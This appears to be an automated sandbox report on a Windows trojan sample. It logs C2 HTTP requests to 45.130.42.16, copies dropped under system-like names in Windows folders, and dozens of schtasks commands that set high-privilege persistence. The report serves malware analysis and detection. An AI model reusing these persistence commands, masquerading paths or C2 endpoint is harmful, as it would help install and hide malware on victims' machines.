Source: unknown	TCP traffic detected without corresponding DNS query: 45.130.42.16
Source: unknown	TCP traffic detected without corresponding DNS query: 45.130.42.16
Source: unknown	TCP traffic detected without corresponding DNS query: 45.130.42.16
Source: unknown	TCP traffic detected without corresponding DNS query: 45.130.42.16
Source: unknown	TCP traffic detected without corresponding DNS query: 45.130.42.16
Source: unknown	TCP traffic detected without corresponding DNS query: 45.130.42.16
Source: unknown	TCP traffic detected without corresponding DNS query: 45.130.42.16
Source: unknown	TCP traffic detected without corresponding DNS query: 45.130.42.16
Source: unknown	TCP traffic detected without corresponding DNS query: 45.130.42.16
Source: unknown	TCP traffic detected without corresponding DNS query: 45.130.42.16
Source: unknown	TCP traffic detected without corresponding DNS query: 45.130.42.16

Source: global traffic	HTTP traffic detected: GET /6/api144/9Wp/ImagevmcpuBigloaddefault.php?MCq8kxznRpE60jYE6i=lG5zicKtIWeAP&wK0sdAGnXlB32J1ShQkF4bQMIgaE=RxpzDDZhVciR8tTxpjA20z&223505adc80271978c1edbb4eca1c18c=d7a9900f45d34dd9122c7526d5dd4ee1&550e331da9a15a3997b38874465fab05=gNjdzMlNWOwgDOiljZ5kDZ3UjNhZmZjlzMlJmNkBTOkFWM3YjNihDZ&MCq8kxznRpE60jYE6i=lG5zicKtIWeAP&wK0sdAGnXlB32J1ShQkF4bQMIgaE=RxpzDDZhVciR8tTxpjA20z HTTP/1.1Accept: /Content-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36Host: 45.130.42.16Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /6/api144/9Wp/ImagevmcpuBigloaddefault.php?MCq8kxznRpE60jYE6i=lG5zicKtIWeAP&wK0sdAGnXlB32J1ShQkF4bQMIgaE=RxpzDDZhVciR8tTxpjA20z&223505adc80271978c1edbb4eca1c18c=d7a9900f45d34dd9122c7526d5dd4ee1&550e331da9a15a3997b38874465fab05=gNjdzMlNWOwgDOiljZ5kDZ3UjNhZmZjlzMlJmNkBTOkFWM3YjNihDZ&MCq8kxznRpE60jYE6i=lG5zicKtIWeAP&wK0sdAGnXlB32J1ShQkF4bQMIgaE=RxpzDDZhVciR8tTxpjA20z HTTP/1.1Accept: /Content-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36Host: 45.130.42.16

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 23 Apr 2024 20:42:03 GMTContent-Type: text/html; charset=UTF-8Content-Length: 177375Connection: keep-aliveP3P: policyref="/bitrix/p3p.xml", CP="NON DSP COR CUR ADM DEV PSA PSD OUR UNR BUS UNI COM NAV INT DEM STA"X-Powered-CMS: Bitrix Site Manager (3cb6b699f91fcd1677ea8a5f7bcf940b)Set-Cookie: PHPSESSID=0joeWo8FC3UGG5G1KO2ZvI0cw6MJJJdg; path=/; HttpOnlyExpires: Thu, 19 Nov 1981 08:52:00 GMTCache-Control: no-store, no-cache, must-revalidatePragma: no-cacheSet-Cookie: BITRIX_SM_GUEST_ID=2289526; expires=Fri, 18-Apr-2025 20:42:03 GMT; Max-Age=31104000; path=/Set-Cookie: BITRIX_SM_LAST_VISIT=23.04.2024%2023%3A42%3A03; expires=Fri, 18-Apr-2025 20:42:03 GMT; Max-Age=31104000; path=/Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 72 75 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 20 63 6f 6e 74 65 6e 74 3d 22 d0 b6 d0 b5 d0 bd d1 81 d0 ba d0 b0 d1 8f 20 d0 be d0 b4 d0 b5 d0 b6 d0 b4 d0 b0 2c 20 d0 bc d1 83 d0 b6 d1 81 d0 ba d0 b0 d1 8f 20 d0 be d0 b4 d0 b5 d0 b6 d0 b4 d0 b0 2c 20 d1 81 d0 bf d0 be d1 80 d1 82 d0 b8 d0 b2 d0 bd d0 b0 d1 8f 20 d0 be d0 b4 d0 b5 d0 b6 d0 b4 d0 b0 2c 20 d1 82 d0 b0 d0 bf d0 be d1 87 d0 ba d0 b8 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 d0 9c d1 8b 20 d0 bf d1 80 d0 b5 d0 b4 d0 bb d0 b0 d0 b3 d0 b0 d0 b5 d0 bc 20 d1 88 d0 b8 d1 80 d0 be d0 ba d0 b8 d0 b9 20 d0 b0 d1 81 d1 81 d0 be d1 80 d1 82 d0 b8 d0 bc d0 b5 d0 bd d1 82 20 d0 ba d0 b0 d1 87 Data Ascii: <!DOCTYPE html><html lang="ru"><head> <meta name="viewport" content="width=device-width, initial-scale=1.0" /> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta name="keywords" content=" , , , " /><meta name="description" content="
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 23 Apr 2024 20:42:04 GMTContent-Type: text/html; charset=UTF-8Content-Length: 177375Connection: keep-aliveP3P: policyref="/bitrix/p3p.xml", CP="NON DSP COR CUR ADM DEV PSA PSD OUR UNR BUS UNI COM NAV INT DEM STA"X-Powered-CMS: Bitrix Site Manager (3cb6b699f91fcd1677ea8a5f7bcf940b)Set-Cookie: PHPSESSID=KxXgB60mEPIvLU8dX8tTLbwu5q9WYh0Z; path=/; HttpOnlyExpires: Thu, 19 Nov 1981 08:52:00 GMTCache-Control: no-store, no-cache, must-revalidatePragma: no-cacheSet-Cookie: BITRIX_SM_GUEST_ID=2289526; expires=Fri, 18-Apr-2025 20:42:04 GMT; Max-Age=31104000; path=/Set-Cookie: BITRIX_SM_LAST_VISIT=23.04.2024%2023%3A42%3A04; expires=Fri, 18-Apr-2025 20:42:04 GMT; Max-Age=31104000; path=/Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 72 75 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 20 63 6f 6e 74 65 6e 74 3d 22 d0 b6 d0 b5 d0 bd d1 81 d0 ba d0 b0 d1 8f 20 d0 be d0 b4 d0 b5 d0 b6 d0 b4 d0 b0 2c 20 d0 bc d1 83 d0 b6 d1 81 d0 ba d0 b0 d1 8f 20 d0 be d0 b4 d0 b5 d0 b6 d0 b4 d0 b0 2c 20 d1 81 d0 bf d0 be d1 80 d1 82 d0 b8 d0 b2 d0 bd d0 b0 d1 8f 20 d0 be d0 b4 d0 b5 d0 b6 d0 b4 d0 b0 2c 20 d1 82 d0 b0 d0 bf d0 be d1 87 d0 ba d0 b8 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 d0 9c d1 8b 20 d0 bf d1 80 d0 b5 d0 b4 d0 bb d0 b0 d0 b3 d0 b0 d0 b5 d0 bc 20 d1 88 d0 b8 d1 80 d0 be d0 ba d0 b8 d0 b9 20 d0 b0 d1 81 d1 81 d0 be d1 80 d1 82 d0 b8 d0 bc d0 b5 d0 bd d1 82 20 d0 ba d0 b0 d1 87 Data Ascii: <!DOCTYPE html><html lang="ru"><head> <meta name="viewport" content="width=device-width, initial-scale=1.0" /> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta name="keywords" content=" , , , " /><meta name="description" content="

Source: RRVGfHJzvQMYfWe.exe, 0000001C.00000002.1751125350.0000000002D64000.00000004.00000800.00020000.00000000.sdmp, RRVGfHJzvQMYfWe.exe, 0000001C.00000002.1751125350.0000000002D47000.00000004.00000800.00020000.00000000.sdmp, RRVGfHJzvQMYfWe.exe, 0000001C.00000002.1751125350.0000000002D70000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.130.42.16
Source: RRVGfHJzvQMYfWe.exe, 0000001C.00000002.1751125350.0000000002D34000.00000004.00000800.00020000.00000000.sdmp, RRVGfHJzvQMYfWe.exe, 0000001C.00000002.1751125350.0000000002D47000.00000004.00000800.00020000.00000000.sdmp, RRVGfHJzvQMYfWe.exe, 0000001C.00000002.1751125350.0000000002D70000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.130.42.16/6/api144/9Wp/
Source: RRVGfHJzvQMYfWe.exe, 0000001C.00000002.1751125350.0000000002D70000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.130.42.16/6/api144/9Wp/ImagevmcpuBigloaddefault.php?MCq8kxznRpE60jYE6i=lG5zicKtIWeAP&wK0sd
Source: RRVGfHJzvQMYfWe.exe, 0000001C.00000002.1751125350.0000000002DB8000.00000004.00000800.00020000.00000000.sdmp, RRVGfHJzvQMYfWe.exe, 0000001C.00000002.1751125350.0000000002D70000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.130.42.16/upload/resize_cache/bitlate_proshop/e2e/968_503_1/9w9p11chf5twz88a77wq28ajd28u8b
Source: 13ZNp2xvRU.exe, 00000000.00000002.1725729204.0000000002E64000.00000004.00000800.00020000.00000000.sdmp, RRVGfHJzvQMYfWe.exe, 0000001C.00000002.1751125350.0000000002D47000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name

Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	File created: C:\Windows\twain_32\Registry.exe	Jump to behavior
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	File created: C:\Windows\twain_32\Registry.exe\:Zone.Identifier:$DATA	Jump to behavior
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	File created: C:\Windows\twain_32\ee2ad38f3d4382	Jump to behavior
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	File created: C:\Windows\PLA\Templates\RRVGfHJzvQMYfWe.exe	Jump to behavior
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	File created: C:\Windows\PLA\Templates\RRVGfHJzvQMYfWe.exe\:Zone.Identifier:$DATA	Jump to behavior
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	File created: C:\Windows\PLA\Templates\4ed18479ee5d61	Jump to behavior
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	File created: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe	Jump to behavior
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	File created: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe\:Zone.Identifier:$DATA	Jump to behavior
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	File created: C:\Windows\IME\IMETC\HELP\7ccfebd9e92364	Jump to behavior
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	File created: C:\Windows\Panther\setup.exe\fontdrvhost.exe	Jump to behavior
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	File created: C:\Windows\Panther\setup.exe\5b884080fd4f94	Jump to behavior

Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	Code function: 0_2_00007FFD9B893565	0_2_00007FFD9B893565
Source: C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe	Code function: 28_2_00007FFD9B893565	28_2_00007FFD9B893565
Source: C:\Windows\Panther\setup.exe\fontdrvhost.exe	Code function: 29_2_00007FFD9B893565	29_2_00007FFD9B893565
Source: C:\Windows\Panther\setup.exe\fontdrvhost.exe	Code function: 30_2_00007FFD9B8B3565	30_2_00007FFD9B8B3565
Source: C:\Windows\twain_32\Registry.exe	Code function: 31_2_00007FFD9B893565	31_2_00007FFD9B893565
Source: C:\Windows\twain_32\Registry.exe	Code function: 32_2_00007FFD9B883398	32_2_00007FFD9B883398
Source: C:\Windows\twain_32\Registry.exe	Code function: 32_2_00007FFD9B8733B8	32_2_00007FFD9B8733B8
Source: C:\Windows\twain_32\Registry.exe	Code function: 32_2_00007FFD9B87AAA0	32_2_00007FFD9B87AAA0
Source: C:\Windows\twain_32\Registry.exe	Code function: 32_2_00007FFD9B884AA0	32_2_00007FFD9B884AA0
Source: C:\Windows\twain_32\Registry.exe	Code function: 32_2_00007FFD9B88496D	32_2_00007FFD9B88496D
Source: C:\Windows\twain_32\Registry.exe	Code function: 32_2_00007FFD9B87A7E8	32_2_00007FFD9B87A7E8
Source: C:\Windows\twain_32\Registry.exe	Code function: 32_2_00007FFD9B88356F	32_2_00007FFD9B88356F
Source: C:\Windows\twain_32\Registry.exe	Code function: 32_2_00007FFD9B87A4AD	32_2_00007FFD9B87A4AD
Source: C:\Windows\twain_32\Registry.exe	Code function: 32_2_00007FFD9B8829C0	32_2_00007FFD9B8829C0
Source: C:\Windows\twain_32\Registry.exe	Code function: 32_2_00007FFD9B884048	32_2_00007FFD9B884048
Source: C:\Windows\twain_32\Registry.exe	Code function: 32_2_00007FFD9B883ED9	32_2_00007FFD9B883ED9
Source: C:\Windows\twain_32\Registry.exe	Code function: 32_2_00007FFD9B879A65	32_2_00007FFD9B879A65
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe	Code function: 33_2_00007FFD9B883565	33_2_00007FFD9B883565
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe	Code function: 34_2_00007FFD9B893565	34_2_00007FFD9B893565
Source: C:\ProgramData\smartscreen.exe	Code function: 35_2_00007FFD9B893565	35_2_00007FFD9B893565
Source: C:\ProgramData\smartscreen.exe	Code function: 36_2_00007FFD9B8A3565	36_2_00007FFD9B8A3565
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe	Code function: 37_2_00007FFD9B873565	37_2_00007FFD9B873565
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe	Code function: 37_2_00007FFD9B88356F	37_2_00007FFD9B88356F
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe	Code function: 37_2_00007FFD9B88496D	37_2_00007FFD9B88496D
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe	Code function: 37_2_00007FFD9B881F75	37_2_00007FFD9B881F75
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe	Code function: 37_2_00007FFD9B883398	37_2_00007FFD9B883398
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe	Code function: 37_2_00007FFD9B8868F8	37_2_00007FFD9B8868F8
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe	Code function: 37_2_00007FFD9B885AC1	37_2_00007FFD9B885AC1
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe	Code function: 37_2_00007FFD9B884048	37_2_00007FFD9B884048
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe	Code function: 37_2_00007FFD9B881939	37_2_00007FFD9B881939
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe	Code function: 37_2_00007FFD9B883ED9	37_2_00007FFD9B883ED9
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe	Code function: 38_2_00007FFD9B883565	38_2_00007FFD9B883565

Source: 13ZNp2xvRU.exe, 00000000.00000000.1694422504.0000000000762000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamelibcrypto$ vs 13ZNp2xvRU.exe
Source: 13ZNp2xvRU.exe, 00000000.00000002.1730495375.000000001BD32000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamelibcrypto$ vs 13ZNp2xvRU.exe
Source: 13ZNp2xvRU.exe	Binary or memory string: OriginalFilenamelibcrypto$ vs 13ZNp2xvRU.exe

Source: 13ZNp2xvRU.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: 13ZNp2xvRU.exe, hNssXtdlcy8emRTei3J.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 13ZNp2xvRU.exe, hNssXtdlcy8emRTei3J.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 13ZNp2xvRU.exe, q6q31BtcVXevoZcYS3K.cs	Cryptographic APIs: 'TransformBlock'
Source: 13ZNp2xvRU.exe, q6q31BtcVXevoZcYS3K.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: classification engine

Classification label: mal100.troj.evad.winEXE@33/30@0/1

Source: C:\Users\user\Desktop\13ZNp2xvRU.exe

File created: C:\Program Files (x86)\google\Update\RRVGfHJzvQMYfWe.exe

Jump to behavior

Source: C:\Users\user\Desktop\13ZNp2xvRU.exe

File created: C:\Users\All Users\smartscreen.exe

Jump to behavior

Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe	Mutant created: NULL
Source: C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\766f4844838c3bc63e3f2bcd7b909849dd6cbe33

Source: 13ZNp2xvRU.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: 13ZNp2xvRU.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.79%

Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create

Source: C:\Users\user\Desktop\13ZNp2xvRU.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\13ZNp2xvRU.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 13ZNp2xvRU.exe

ReversingLabs: Detection: 81%

Source: C:\Users\user\Desktop\13ZNp2xvRU.exe

File read: C:\Users\user\Desktop\13ZNp2xvRU.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\13ZNp2xvRU.exe "C:\Users\user\Desktop\13ZNp2xvRU.exe"
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "RRVGfHJzvQMYfWeR" /sc MINUTE /mo 6 /tr "'C:\Recovery\RRVGfHJzvQMYfWe.exe'" /f
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "RRVGfHJzvQMYfWe" /sc ONLOGON /tr "'C:\Recovery\RRVGfHJzvQMYfWe.exe'" /rl HIGHEST /f
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "RRVGfHJzvQMYfWeR" /sc MINUTE /mo 7 /tr "'C:\Recovery\RRVGfHJzvQMYfWe.exe'" /rl HIGHEST /f
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "RegistryR" /sc MINUTE /mo 7 /tr "'C:\Windows\twain_32\Registry.exe'" /f
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "Registry" /sc ONLOGON /tr "'C:\Windows\twain_32\Registry.exe'" /rl HIGHEST /f
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "RegistryR" /sc MINUTE /mo 6 /tr "'C:\Windows\twain_32\Registry.exe'" /rl HIGHEST /f
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "smartscreens" /sc MINUTE /mo 7 /tr "'C:\Users\All Users\smartscreen.exe'" /f
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "smartscreen" /sc ONLOGON /tr "'C:\Users\All Users\smartscreen.exe'" /rl HIGHEST /f
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "smartscreens" /sc MINUTE /mo 14 /tr "'C:\Users\All Users\smartscreen.exe'" /rl HIGHEST /f
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "RRVGfHJzvQMYfWeR" /sc MINUTE /mo 12 /tr "'C:\Windows\PLA\Templates\RRVGfHJzvQMYfWe.exe'" /f
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "UserOOBEBrokerU" /sc MINUTE /mo 6 /tr "'C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe'" /f
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "UserOOBEBroker" /sc ONLOGON /tr "'C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe'" /rl HIGHEST /f
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "UserOOBEBrokerU" /sc MINUTE /mo 12 /tr "'C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe'" /rl HIGHEST /f
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "RRVGfHJzvQMYfWe" /sc ONLOGON /tr "'C:\Recovery\RRVGfHJzvQMYfWe.exe'" /rl HIGHEST /f
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "RRVGfHJzvQMYfWeR" /sc MINUTE /mo 14 /tr "'C:\Recovery\RRVGfHJzvQMYfWe.exe'" /rl HIGHEST /f
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "RRVGfHJzvQMYfWeR" /sc MINUTE /mo 10 /tr "'C:\Program Files (x86)\java\RRVGfHJzvQMYfWe.exe'" /f
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "RRVGfHJzvQMYfWe" /sc ONLOGON /tr "'C:\Program Files (x86)\java\RRVGfHJzvQMYfWe.exe'" /rl HIGHEST /f
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "RRVGfHJzvQMYfWeR" /sc MINUTE /mo 9 /tr "'C:\Program Files (x86)\java\RRVGfHJzvQMYfWe.exe'" /rl HIGHEST /f
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "fontdrvhost" /sc ONLOGON /tr "'C:\Windows\Panther\setup.exe\fontdrvhost.exe'" /rl HIGHEST /f
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "fontdrvhostf" /sc MINUTE /mo 13 /tr "'C:\Windows\Panther\setup.exe\fontdrvhost.exe'" /rl HIGHEST /f
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	Process created: C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe "C:\Program Files (x86)\google\Update\RRVGfHJzvQMYfWe.exe"
Source: unknown	Process created: C:\Windows\Panther\setup.exe\fontdrvhost.exe C:\Windows\Panther\setup.exe\fontdrvhost.exe
Source: unknown	Process created: C:\Windows\Panther\setup.exe\fontdrvhost.exe C:\Windows\Panther\setup.exe\fontdrvhost.exe
Source: unknown	Process created: C:\Windows\twain_32\Registry.exe C:\Windows\twain_32\Registry.exe
Source: unknown	Process created: C:\Windows\twain_32\Registry.exe C:\Windows\twain_32\Registry.exe
